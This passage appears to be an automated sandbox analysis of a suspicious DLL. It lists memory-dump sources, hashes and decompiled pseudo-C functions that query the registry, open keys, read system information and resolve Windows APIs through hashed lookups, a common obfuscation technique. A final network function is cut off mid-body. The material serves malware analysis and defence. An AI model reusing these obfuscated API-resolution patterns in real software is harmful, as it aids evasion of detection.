Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ConnectHttpInternetOpenRequestUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 3503947753-0
Opcode ID: 17845d832400f96fd6464aa763b71b59cd35277bb847d15aa880a58723ee3183
Instruction ID: 4d1a0b3e0c5a03a645e27904153e6215bc33784c372357dad8316862a4b120d6
Opcode Fuzzy Hash: 17845d832400f96fd6464aa763b71b59cd35277bb847d15aa880a58723ee3183
Instruction Fuzzy Hash: FEC1B53022C2C5ABDB01DFE5CC94BEEBFA8EF81758F404868F555462A0EB71D945CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EBBCAE0, Relevance: 3.2, APIs: 2, Instructions: 207
registryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E6EBBCAE0(void* __ecx) {
				void* __esi;
				intOrPtr _t49;
				int* _t50;
				void* _t52;
				void* _t62;
				int _t99;
				intOrPtr* _t100;
				void* _t101;
				signed short* _t102;
				void* _t129;
				char* _t139;
				void* _t143;
				intOrPtr* _t144;
				intOrPtr* _t146;

				_t143 = __ecx;
				_push(0);
				E6EBB9350(_t146 + 0x14);
				_t49 =  *((intOrPtr*)(__ecx + 4));
				if(_t49 == 0 || _t49 == 0xffffffff) {
					_t50 = 1;
				} else {
					_t50 = 0;
				}
				if(_t50 != 0) {
					L11:
					_t99 = 0;
				} else {
					_t139 =  *((intOrPtr*)(_t146 + 0x44));
					if(_t139 == 0 ||  *_t139 != 0) {
						_t129 = _t146 + 8;
						 *((intOrPtr*)(_t129 + 0x18)) = 0;
						 *((intOrPtr*)(_t129 + 0x1c)) = 0;
						E6EBA87A0(_t129);
						if(E6EBA15C0(0x3ab94787, 0x7c5744d4) != 0) {
							RegQueryValueExW( *(_t143 + 4),  *(_t146 + 0x18), 0, _t146 + 0x20, 0, _t146 + 0x24); // executed
						}
						_t89 =  *(_t146 + 0x24);
						if( *(_t146 + 0x24) != 0) {
							E6EBB9670(_t146 + 0x14, _t89);
							if(E6EBA15C0(0x3ab94787, 0x7c5744d4) != 0) {
								_t142 =  *(_t143 + 4);
								RegQueryValueExW( *(_t143 + 4),  *(_t146 + 8), 0, _t146 + 0x20, E6EBB9640(_t146 + 0x14, 0), _t146 + 0x24); // executed
							}
							_t99 =  *(_t146 + 0x20);
							E6EBA8CA0(_t146 + 8);
						} else {
							E6EBA8CA0(_t146 + 8);
							goto L11;
						}
					} else {
						goto L11;
					}
				}
				if(_t99 == 2) {
					_t100 = E6EBA15C0(0xa1310f65, 0x6ad451b6);
					if(_t100 != 0) {
						_t52 = E6EBB9640(_t146 + 0x14, 0);
						 *_t100(_t52, 0, 0);
						_t101 = 0;
					} else {
						_t101 = 0;
					}
					E6EBA8810(_t146, _t101);
					_t144 = E6EBA15C0(0xa1310f65, 0x6ad451b6);
					if(_t144 != 0) {
						_t62 = E6EBB9640(_t146 + 0x14, 0);
						 *_t144(_t62,  *((intOrPtr*)(_t146 + 4)), _t101);
					}
					E6EBA88C0( *((intOrPtr*)(_t146 + 0x44)), _t146);
					E6EBA8CA0(_t146);
					E6EBB9510(_t146 + 0x10);
					return  *((intOrPtr*)(_t146 + 0x40));
				} else {
					if(_t99 != 7) {
						if(_t99 != 1) {
							E6EBA8810( *((intOrPtr*)(_t146 + 0x44)), 0);
							E6EBB9510(_t146 + 0x10);
							return  *((intOrPtr*)(_t146 + 0x40));
						} else {
							E6EBA8AB0( *((intOrPtr*)(_t146 + 0x48)), E6EBB9640(_t146 + 0x14, 0), 0);
							E6EBB9510(_t146 + 0x10);
							return  *((intOrPtr*)(_t146 + 0x40));
						}
					} else {
						E6EBA8810(_t146 + 4, 0);
						_t102 = E6EBB9640(_t146 + 0x14, 0);
						while(( *_t102 & 0x0000ffff) != 0) {
							if(E6EBB0180( *_t146, 0x7fffffff, _t142) != 0) {
								E6EBA96D0(_t146 + 4, 0xa);
							}
							E6EBA8AB0(_t146 + 0x30, _t102, 0);
							E6EBB0220(_t146 + 8,  *((intOrPtr*)(_t146 + 0x2c)), 0);
							_t102 = _t102 + 2 + E6EBB0180( *((intOrPtr*)(_t146 + 0x28)), 0x7fffffff, _t142) * 2;
							E6EBA8CA0(_t146 + 0x28);
						}
						E6EBA88C0( *((intOrPtr*)(_t146 + 0x44)), _t146);
						E6EBA8CA0(_t146);
						E6EBB9510(_t146 + 0x10);
						return  *((intOrPtr*)(_t146 + 0x40));
					}
				}
			}

0x6ebbcae6
0x6ebbcae8
0x6ebbcaee
0x6ebbcaf3
0x6ebbcaf8
0x6ebbcb03
0x6ebbcaff
0x6ebbcaff
0x6ebbcaff
0x6ebbcb0a
0x6ebbcb6b
0x6ebbcb6b
0x6ebbcb0c
0x6ebbcb0c
0x6ebbcb12
0x6ebbcb1b
0x6ebbcb1f
0x6ebbcb22
0x6ebbcb25
0x6ebbcb3d
0x6ebbcb54
0x6ebbcb54
0x6ebbcb56
0x6ebbcb5c
0x6ebbcd05
0x6ebbcd1d
0x6ebbcd1f
0x6ebbcd42
0x6ebbcd42
0x6ebbcd44
0x6ebbcd4c
0x6ebbcb62
0x6ebbcb66
0x00000000
0x6ebbcb66
0x00000000
0x00000000
0x00000000
0x6ebbcb12
0x6ebbcb70
0x6ebbcc84
0x6ebbcc88
0x6ebbcc94
0x6ebbcca0
0x6ebbcca2
0x6ebbcc8a
0x6ebbcc8a
0x6ebbcc8a
0x6ebbcca8
0x6ebbccbc
0x6ebbccc0
0x6ebbccc8
0x6ebbccd3
0x6ebbccd3
0x6ebbccdd
0x6ebbcce5
0x6ebbccee
0x6ebbccfd
0x6ebbcb76
0x6ebbcb79
0x6ebbcc25
0x6ebbcc5a
0x6ebbcc63
0x6ebbcc72
0x6ebbcc27
0x6ebbcc39
0x6ebbcc42
0x6ebbcc51
0x6ebbcc51
0x6ebbcb7f
0x6ebbcb85
0x6ebbcb95
0x6ebbcb9c
0x6ebbcbad
0x6ebbcbb5
0x6ebbcbb5
0x6ebbcbc1
0x6ebbcbd0
0x6ebbcbe7
0x6ebbcbeb
0x6ebbcbf3
0x6ebbcbff
0x6ebbcc07
0x6ebbcc10
0x6ebbcc1f
0x6ebbcc1f
0x6ebbcb79

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,3AB94787,7C5744D4,00000000), ref: 6EBBCB54

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 1a993fb9358f32fd43622a429a7ad0c6ffa3ee027b8f9921b25b7e9b31177733
Instruction ID: a3cb2b474345b34db0fa0edf1fd6dcc82a52bee019bf92b05ca397538230bf00
Opcode Fuzzy Hash: 1a993fb9358f32fd43622a429a7ad0c6ffa3ee027b8f9921b25b7e9b31177733
Instruction Fuzzy Hash: 1F614F30628285AAD744DFA4CC91BBFBBACEF55648F100D2DF6569A190EF31ED04CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EBBC790, Relevance: 3.1, APIs: 2, Instructions: 85
registryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6EBBC790(void* __ecx, void* __edx) {
				intOrPtr _t21;
				int* _t22;
				char* _t47;
				void* _t50;
				void* _t53;

				 *((intOrPtr*)(_t53 + 0x18)) = 0;
				_t50 = __ecx;
				_push(0);
				E6EBB9350(_t53 + 4);
				_t21 =  *((intOrPtr*)(__ecx + 4));
				if(_t21 == 0 || _t21 == 0xffffffff) {
					_t22 = 1;
				} else {
					_t22 = 0;
				}
				if(_t22 != 0) {
					L10:
					E6EBB9510(_t53);
					return  *((intOrPtr*)(_t53 + 0x18));
				} else {
					_t47 =  *(_t53 + 0x2c);
					if(_t47 == 0 ||  *_t47 != 0) {
						 *(_t53 + 0x10) = 0;
						 *(_t53 + 0x14) = 0;
						if(E6EBA15C0(0x3ab94787, 0x8883f185) != 0) {
							RegQueryValueExA( *(_t50 + 4), _t47, 0, _t53 + 0x10, 0, _t53 + 0x14); // executed
						}
						_t26 =  *(_t53 + 0x14);
						if( *(_t53 + 0x14) != 0) {
							E6EBB9670(_t53 + 4, _t26);
							if(E6EBA15C0(0x3ab94787, 0x8883f185) != 0) {
								RegQueryValueExA( *(_t50 + 4), _t47, 0, _t53 + 0x10, E6EBB9640(_t53 + 4, 0), _t53 + 0x14); // executed
							}
							if( *(_t53 + 0x10) == 4) {
								E6EBB97D0(_t53 + 8, _t53 + 0x18, 4);
							}
						}
					}
					goto L10;
				}
			}

0x6ebbc798
0x6ebbc79c
0x6ebbc79e
0x6ebbc7a3
0x6ebbc7a8
0x6ebbc7ad
0x6ebbc7b8
0x6ebbc7b4
0x6ebbc7b4
0x6ebbc7b4
0x6ebbc7bf
0x6ebbc805
0x6ebbc80c
0x6ebbc819
0x6ebbc7c1
0x6ebbc7c1
0x6ebbc7c7
0x6ebbc7ce
0x6ebbc7d2
0x6ebbc7e9
0x6ebbc7fb
0x6ebbc7fb
0x6ebbc7fd
0x6ebbc803
0x6ebbc821
0x6ebbc839
0x6ebbc85a
0x6ebbc85a
0x6ebbc861
0x6ebbc86e
0x6ebbc86e
0x6ebbc861
0x6ebbc803
0x00000000
0x6ebbc7c7

APIs

RegQueryValueExA.KERNELBASE(?,?,00000000,?,00000000,?,8883F185,00000000), ref: 6EBBC7FB
RegQueryValueExA.KERNELBASE(?,?,00000000,8883F185,00000000,00000000,00000000,8883F185,?,8883F185,00000000), ref: 6EBBC85A

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 1b4fde19d6e27f85aaca9c95f26fbe1a7904d47f24c8b1bb7409f34fb5227349
Instruction ID: 343c134c5b76006c4bbaf00f7284c6f3ab45c3a1fcfd3a7d9469a5847a5a6fed
Opcode Fuzzy Hash: 1b4fde19d6e27f85aaca9c95f26fbe1a7904d47f24c8b1bb7409f34fb5227349
Instruction Fuzzy Hash: 66217C31608296AAD351DEA5CC10EBF7FACDF95B14F00092DF5559A280EB30D909CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 6EBBC2D0, Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EBBC2D0(void* __ebx, long* __ecx, void* __edi, void* __esi, void* __ebp, intOrPtr _a4, void* _a8, void* _a12) {
				char _v28;
				char _v32;
				unsigned int _v36;
				char _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				long* _v56;
				long _v60;
				long* _v64;
				int _v68;
				intOrPtr _v72;
				signed int _v76;
				long _v80;
				unsigned int _t57;
				signed int* _t59;
				void* _t62;
				void* _t66;
				void* _t74;
				long _t75;
				void* _t76;
				void** _t77;
				long _t78;
				long* _t82;
				void* _t83;
				long _t84;
				long _t102;
				short* _t107;
				long _t117;
				signed int _t122;
				signed int _t123;
				signed int _t124;
				intOrPtr _t125;
				long _t127;
				void* _t130;
				long _t132;
				intOrPtr _t135;
				long _t136;
				long _t140;
				void* _t142;
				long* _t143;

				_push(__esi);
				_push(__edi);
				_t143 = _t142 - 0x40;
				_t82 = __ecx;
				E6EBA3930(__ecx, 0, __edi, __esi);
				_t130 =  !=  ? 0 : 0x100;
				_t121 =  <=  ? 0x3000f : 0x20009;
				_t122 = ( <=  ? 0x3000f : 0x20009) | 0x00000100;
				E6EBA8810( &_v40, 0x104);
				_t107 =  *((intOrPtr*)(__ecx + 0xc));
				if(_t107 != 0) {
					 *_t107 = 0;
				}
				_t140 = _a8;
				_t57 = E6EBB9650(_a4) >> 2;
				if(_t57 > 0) {
					_v56 =  &(_t82[3]);
					_v44 = 0;
					_t16 = _t57 - 1; // -1
					_v76 = _t122;
					_v68 = _t16;
					_v72 = _t130 + 0x20009;
					_t132 = 0;
					_v52 = _t57;
					_v64 = _t82;
					_t123 = 0;
					while(1) {
						L15:
						_t59 = E6EBB9640(_a4, _t123 * 4);
						_t83 = 0;
						_v48 = _t123;
						_t124 =  *_t59 ^ 0x38ba5c7b;
						_v52 = _t132;
						while(1) {
							_t62 = E6EBA15C0(0x3ab94787, 0xf561ae8b);
							if(_t62 != 0) {
								break;
							}
							E6EBAA0D0( &_v40,  &_v32);
							E6EBA83B0( &_v28);
							_t66 = E6EBBD620(_v28, E6EBB6040(_v28, 0x7fffffff));
							E6EBB0B10( &_v28);
							if(_t66 != _t124) {
								E6EBA8CA0( &_v32);
								_t83 = _t83 + 1;
								continue;
							} else {
								_t125 = _v44;
								_t135 =  *((intOrPtr*)( &_v32 - 0x10));
								E6EBA8CA0( &_v32);
								if(_t125 != 0) {
									E6EBA96D0(_v56, 0x5c);
								}
								E6EBB0220(_v56, _v40, 0);
								_v68 = 0;
								if(E6EBA15C0(0x3ab94787, 0xd5493f9) == 0) {
									_t117 = 0;
								} else {
									_t77 =  &_v60;
									_t104 =  ==  ?  *((void*)(_t77 - 0x10)) :  *((intOrPtr*)(_t77 - 0xc));
									_t78 = RegOpenKeyExW(_a8,  *(_t77[1]), 0,  ==  ?  *((void*)(_t77 - 0x10)) :  *((intOrPtr*)(_t77 - 0xc)), _t77); // executed
									_t117 = _t78;
								}
								_t84 = _v60;
								if(_t84 == 0 || _t84 == 0xffffffff) {
									L37:
									_t82 = _v64;
									_t136 = _t117;
									goto L4;
								} else {
									if(_t135 == 0) {
										L34:
										_t123 = _t125 + 1;
										_t140 = _t84;
										if(_t123 < _v52) {
											_t132 = 1;
											goto L15;
										} else {
											goto L37;
										}
									} else {
										if(_t140 == 0 || _t140 == 0xffffffff) {
											_t75 = 1;
										} else {
											_t75 = 0;
										}
										if(_t75 != 0) {
											goto L34;
										} else {
											_v80 = _t117;
											_t76 = E6EBA15C0(0x3ab94787, 0x91935d4e);
											_t117 =  *_t143;
											if(_t76 == 0) {
												goto L34;
											} else {
												_push(_t140);
												_v80 = _t117;
												asm("int3");
												return _t76;
											}
										}
									}
								}
							}
							goto L38;
						}
						_push(_v36 >> 1);
						_push(_v40);
						_push(_t83);
						_push(_t140);
						asm("int3");
						return _t62;
						goto L38;
					}
				} else {
					_t136 = 0;
					L4:
					if(_t82[2] == 0) {
						L12:
						_t82[1] = _t140;
						_t82[2] = 1;
						E6EBA8CA0( &_v40);
						 *_t82 = _t136;
						return _t136;
					} else {
						_t127 = _t82[1];
						if(_t127 == 0 || _t127 == 0xffffffff) {
							_t102 = 1;
						} else {
							_t102 = 0;
						}
						if(_t102 != 0) {
							goto L12;
						} else {
							_t74 = E6EBA15C0(0x3ab94787, 0x91935d4e);
							if(_t74 == 0) {
								goto L12;
							} else {
								_push(_t127);
								asm("int3");
								return _t74;
							}
						}
					}
				}
				L38:
			}

0x6ebbc2d0
0x6ebbc2d1
0x6ebbc2d4
0x6ebbc2d7
0x6ebbc2db
0x6ebbc2f4
0x6ebbc30b
0x6ebbc30e
0x6ebbc310
0x6ebbc315
0x6ebbc31a
0x6ebbc31e
0x6ebbc31e
0x6ebbc325
0x6ebbc32e
0x6ebbc333
0x6ebbc393
0x6ebbc399
0x6ebbc39d
0x6ebbc3a0
0x6ebbc3a4
0x6ebbc3a8
0x6ebbc3ac
0x6ebbc3ae
0x6ebbc3b2
0x6ebbc3b6
0x6ebbc3bf
0x6ebbc3bf
0x6ebbc3cb
0x6ebbc3d2
0x6ebbc3d9
0x6ebbc3dd
0x6ebbc3df
0x6ebbc3e3
0x6ebbc3ed
0x6ebbc3f4
0x00000000
0x00000000
0x6ebbc418
0x6ebbc425
0x6ebbc43e
0x6ebbc449
0x6ebbc450
0x6ebbc523
0x6ebbc528
0x00000000
0x6ebbc456
0x6ebbc456
0x6ebbc45e
0x6ebbc461
0x6ebbc468
0x6ebbc470
0x6ebbc470
0x6ebbc47f
0x6ebbc484
0x6ebbc49f
0x6ebbc4c3
0x6ebbc4a1
0x6ebbc4a5
0x6ebbc4ac
0x6ebbc4bd
0x6ebbc4bf
0x6ebbc4bf
0x6ebbc4c5
0x6ebbc4cb
0x6ebbc537
0x6ebbc537
0x6ebbc53b
0x00000000
0x6ebbc4d2
0x6ebbc4d4
0x6ebbc510
0x6ebbc510
0x6ebbc511
0x6ebbc517
0x6ebbc3ba
0x00000000
0x6ebbc51d
0x00000000
0x6ebbc51d
0x6ebbc4d6
0x6ebbc4d8
0x6ebbc4e3
0x6ebbc4df
0x6ebbc4df
0x6ebbc4df
0x6ebbc4ea
0x00000000
0x6ebbc4ec
0x6ebbc4f6
0x6ebbc4fa
0x6ebbc4ff
0x6ebbc504
0x00000000
0x6ebbc506
0x6ebbc506
0x6ebbc507
0x6ebbc50b
0x6ebbc50c
0x6ebbc50c
0x6ebbc504
0x6ebbc4ea
0x6ebbc4d4
0x6ebbc4cb
0x00000000
0x6ebbc450
0x6ebbc3fc
0x6ebbc3fd
0x6ebbc401
0x6ebbc402
0x6ebbc403
0x6ebbc404
0x00000000
0x6ebbc404
0x6ebbc335
0x6ebbc335
0x6ebbc337
0x6ebbc33b
0x6ebbc36c
0x6ebbc36c
0x6ebbc373
0x6ebbc377
0x6ebbc37c
0x6ebbc387
0x6ebbc33d
0x6ebbc33d
0x6ebbc342
0x6ebbc34d
0x6ebbc349
0x6ebbc349
0x6ebbc349
0x6ebbc354
0x00000000
0x6ebbc356
0x6ebbc360
0x6ebbc367
0x00000000
0x6ebbc369
0x6ebbc369
0x6ebbc36a
0x6ebbc36b
0x6ebbc36b
0x6ebbc367
0x6ebbc354
0x6ebbc33b
0x00000000

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f17b59286eec2a0a04a93962903cfa7af11a798c4da61e5b2bbe808ff438f0cb
Instruction ID: 078ee939930cc9ed612eb83fe6ec5b62ce06dba81cd51c425b00973c88e609b6
Opcode Fuzzy Hash: f17b59286eec2a0a04a93962903cfa7af11a798c4da61e5b2bbe808ff438f0cb
Instruction Fuzzy Hash: 2161C2316183819FD744CFA9C890A6FBBE9EFC4354F148A2DE9599B250EF30D8058B92

Uniqueness

Uniqueness Score: -1.00%

Function 6EBA430F, Relevance: 1.7, APIs: 1, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6EBA430F(void* __eax, intOrPtr __ebx, void* __esi, void* __ebp, char _a4, struct _SYSTEM_INFO _a344, intOrPtr _a356, intOrPtr _a360, intOrPtr _a364, short _a372, intOrPtr _a380, char _a384, char _a388, char _a400, char _a404, char _a408) {
				char _v0;
				void* _v4;
				char _v16;
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr _t47;
				void* _t48;
				intOrPtr _t54;
				intOrPtr _t56;
				intOrPtr _t59;
				intOrPtr _t64;
				void* _t69;

				_t47 = __ebx;
				if(__eax == 0) {
					E6EBB9510( &_a4);
					if(_a408 != 0) {
						E6EBBBE30( &_a404, __esi);
					}
				} else {
					__edx =  *0x6ebcb1f4; // 0x17a1340
					if(__edx == 0xc139578) {
						 *0x6ebcb1f4 = 0;
						L26:
						__eax = 0x3ab94787;
						_push(0x3ab94787);
						_v4 = E6EBA7564(0x3ab94787);
						if(_v4 == 0) {
							__ecx = 0x3ab94787;
							__eax = E6EBA6C50(0x3ab94787);
							if(__al != 0) {
								__eax = 0x3ab94787;
								_push(0x3ab94787);
								 *__esp = E6EBA7564(0x3ab94787);
							}
						}
						if(_v4 == 0) {
							L42:
							__ecx =  &_v0;
							__eax = E6EBB9510( &_v0);
							if(_a404 != 0) {
								__ecx =  &_a400;
								__eax = E6EBBBE30( &_a400, __esi);
							}
							goto L1;
						} else {
							__esp = __esp + 0xfffffff8;
							__edx = 0xc4b8bd35;
							__eax = _v4;
							__edx = E6EBA67C8(_v4, 0xc4b8bd35);
							L29:
							if(__edx == 0) {
								goto L42;
							}
							 *__edi & 0x000000ff = ( *__edi & 0x000000ff) - 1;
							__eax =  *__edx( *__esi, ( *__edi & 0x000000ff) - 1);
							if(__eax == 0) {
								goto L42;
							}
							__eax =  *__eax;
							if(__eax == 0) {
								__esi = 1;
							} else {
								if(__eax == 0x1000) {
									__esi = 2;
								} else {
									if(__eax == 0x2100) {
										__esi = 4;
									} else {
										if(__eax == 0x2000) {
											__esi = 3;
										} else {
											if(__eax == 0x3000) {
												__esi = 5;
											} else {
												if(__eax != 0x4000) {
													__esi = 7;
													__esi =  !=  ? __ebx : 7;
												} else {
													__esi = 6;
												}
											}
										}
									}
								}
							}
							__ecx =  &_v16;
							__eax = E6EBB9510( &_v16);
							if(_a388 != 0) {
								__ecx =  &_a384;
								__eax = E6EBBBE30( &_a384, __esi);
							}
							L2:
							_t35 =  *0x6ebcb1f0; // 0x17a0528
							 *((intOrPtr*)(_t35 + 0x2c)) = _t64;
							_t56 =  *0x6ebcb1f4; // 0x17a1340
							if(_t56 == 0xc139578) {
								 *0x6ebcb1f4 = 0;
								L9:
								_push(0xa1310f65);
								_t48 = E6EBA7564(0xa1310f65);
								if(_t48 == 0) {
									if(E6EBA6C50(0xa1310f65) != 0) {
										_push(0xa1310f65);
										_t48 = E6EBA7564(0xa1310f65);
									}
								}
								if(_t48 == 0) {
									goto L14;
								} else {
									_t69 = _t69 + 0xfffffff8;
									_t59 = E6EBA67C8(_t48, 0x4e85f18d);
									goto L12;
								}
							} else {
								if(_t56 == 0) {
									goto L9;
								} else {
									goto L5;
								}
								do {
									L5:
									_t54 = _t47;
									_t45 = _t54;
									while( *((intOrPtr*)(_t45 + _t56 + 8)) != 0x4e85f18d) {
										_t54 = _t54 + 1;
										_t45 = _t45 + 0x18;
										if(_t54 < 0x10) {
											continue;
										}
										goto L8;
									}
									_t59 =  *((intOrPtr*)(_t45 + _t56 + 0x14));
									if(_t59 != 0) {
										L12:
										if(_t59 != 0) {
											GetSystemInfo( &_a344);
										}
										L14:
										_t39 =  *0x6ebcb1f0; // 0x17a0528
										 *((short*)(_t39 + 0xe)) = _a372;
										 *((intOrPtr*)(_t39 + 0x10)) = _a356;
										 *((intOrPtr*)(_t39 + 0x14)) = _a360;
										 *((intOrPtr*)(_t39 + 0x18)) = _a364;
										 *((intOrPtr*)(_t39 + 0x1c)) = _a380;
										return _t39;
									} else {
										goto L9;
									}
									L8:
									asm("o16 nop [eax+eax]");
									_t4 = _t56 + 0x180; // 0x17a8e68
									_t56 =  *_t4;
								} while (_t56 != 0);
								goto L9;
							}
						}
					}
					if(__edx == 0) {
						goto L26;
					} else {
						goto L22;
					}
					do {
						L22:
						__ecx = __ebx;
						__eax = __ecx;
						while( *((intOrPtr*)(__eax + __edx + 8)) != 0xc4b8bd35) {
							__ecx = __ecx + 1;
							__eax = __eax + 0x18;
							if(__ecx < 0x10) {
								continue;
							}
							goto L25;
						}
						__edx =  *((intOrPtr*)(__eax + __edx + 0x14));
						if(__edx != 0) {
							goto L29;
						}
						goto L26;
						L25:
						asm("o16 nop [eax+eax]");
						_t20 = __edx + 0x180; // 0x17a8e68
						__edx =  *_t20;
					} while (__edx != 0);
					goto L26;
				}
				L1:
				_t64 = _t47;
				goto L2;
			}

0x6eba430f
0x6eba4313
0x6eba444c
0x6eba4459
0x6eba4466
0x6eba4466
0x6eba4319
0x6eba4319
0x6eba4325
0x6eba44f6
0x6eba435a
0x6eba435a
0x6eba435f
0x6eba4365
0x6eba436c
0x6eba44c0
0x6eba44c5
0x6eba44cc
0x6eba44d2
0x6eba44d7
0x6eba44dd
0x6eba44dd
0x6eba44cc
0x6eba4376
0x6eba4420
0x6eba4420
0x6eba4424
0x6eba4431
0x6eba4437
0x6eba443e
0x6eba443e
0x00000000
0x6eba437c
0x6eba437c
0x6eba437f
0x6eba4384
0x6eba438d
0x6eba438f
0x6eba4391
0x00000000
0x00000000
0x6eba439a
0x6eba439e
0x6eba43a2
0x00000000
0x00000000
0x6eba43a4
0x6eba43a8
0x6eba44b6
0x6eba43ae
0x6eba43b3
0x6eba44ac
0x6eba43b9
0x6eba43be
0x6eba44a2
0x6eba43c4
0x6eba43c9
0x6eba4498
0x6eba43cf
0x6eba43d4
0x6eba43f3
0x6eba43d6
0x6eba43db
0x6eba43e4
0x6eba43ee
0x6eba43dd
0x6eba43dd
0x6eba43dd
0x6eba43db
0x6eba43d4
0x6eba43c9
0x6eba43be
0x6eba43b3
0x6eba43f8
0x6eba43fc
0x6eba4409
0x6eba440f
0x6eba4416
0x6eba4416
0x6eba4042
0x6eba4042
0x6eba4047
0x6eba404a
0x6eba4056
0x6eba41cf
0x6eba408b
0x6eba4090
0x6eba4096
0x6eba409a
0x6eba41a6
0x6eba41b1
0x6eba41b7
0x6eba41b7
0x6eba41a6
0x6eba40a2
0x00000000
0x6eba40a4
0x6eba40ab
0x6eba40b3
0x00000000
0x6eba40b3
0x6eba405c
0x6eba405e
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba4060
0x6eba4060
0x6eba4060
0x6eba4062
0x6eba4064
0x6eba4072
0x6eba4073
0x6eba4079
0x00000000
0x00000000
0x00000000
0x6eba4079
0x6eba41be
0x6eba41c4
0x6eba40b5
0x6eba40b7
0x6eba40c1
0x6eba40c1
0x6eba40c3
0x6eba40c3
0x6eba40eb
0x6eba40ef
0x6eba40f2
0x6eba40f5
0x6eba40f8
0x6eba4107
0x6eba41ca
0x00000000
0x6eba41ca
0x6eba407b
0x6eba407b
0x6eba4081
0x6eba4081
0x6eba4087
0x00000000
0x6eba4060
0x6eba4056
0x6eba4376
0x6eba432d
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba432f
0x6eba432f
0x6eba432f
0x6eba4331
0x6eba4333
0x6eba4341
0x6eba4342
0x6eba4348
0x00000000
0x00000000
0x00000000
0x6eba4348
0x6eba44e5
0x6eba44eb
0x00000000
0x00000000
0x00000000
0x6eba434a
0x6eba434a
0x6eba4350
0x6eba4350
0x6eba4356
0x00000000
0x6eba432f
0x6eba4040
0x6eba4040
0x00000000

APIs

GetSystemInfo.KERNELBASE(?), ref: 6EBA40C1

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: bdb540746a0c9805184a9bfe311064573038f787531f32872609a9ed9383f7f6
Instruction ID: 9ae24f4aa6237ce7234cb64c95ee608fb7b535ca77b406df52c8bca33dccf7e6
Opcode Fuzzy Hash: bdb540746a0c9805184a9bfe311064573038f787531f32872609a9ed9383f7f6
Instruction Fuzzy Hash: D251C33061C3C28BEF648A9DC5A07AE7ED6EB95304F15897DC65887299EF34CC46C742

Uniqueness

Uniqueness Score: -1.00%

Function 6EBC3820, Relevance: 1.7, APIs: 1, Instructions: 151
networkCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6EBC3820(intOrPtr* __ecx) {
				void* __edi;
				void* __esi;
				intOrPtr _t39;
				void* _t40;
				intOrPtr _t43;
				void* _t44;
				void* _t48;
				long _t52;
				int _t53;
				intOrPtr _t59;
				void* _t67;
				intOrPtr* _t95;
				intOrPtr _t102;
				intOrPtr _t104;
				void* _t105;
				intOrPtr* _t107;
				void* _t109;
				intOrPtr* _t110;

				_t110 = _t109 - 0x60;
				_t107 = __ecx;
				_t39 =  *((intOrPtr*)(__ecx + 8));
				if(_t39 == 0 || _t39 == 0xffffffff) {
					_t40 = 1;
				} else {
					_t40 = 0;
				}
				if(_t40 != 0) {
					L26:
					_push(0);
					E6EBB9350( *((intOrPtr*)(_t110 + 0x78)));
					return  *((intOrPtr*)(_t110 + 0x74));
				} else {
					_t43 =  *((intOrPtr*)(_t107 + 0x10));
					if(_t43 == 0 || _t43 == 0xffffffff) {
						_t44 = 1;
					} else {
						_t44 = 0;
					}
					if(_t44 != 0) {
						goto L26;
					} else {
						_t75 = _t107 + 0x28;
						E6EBB7660(_t107 + 0x28, _t110 + 0x3c, 0x6ebc9424);
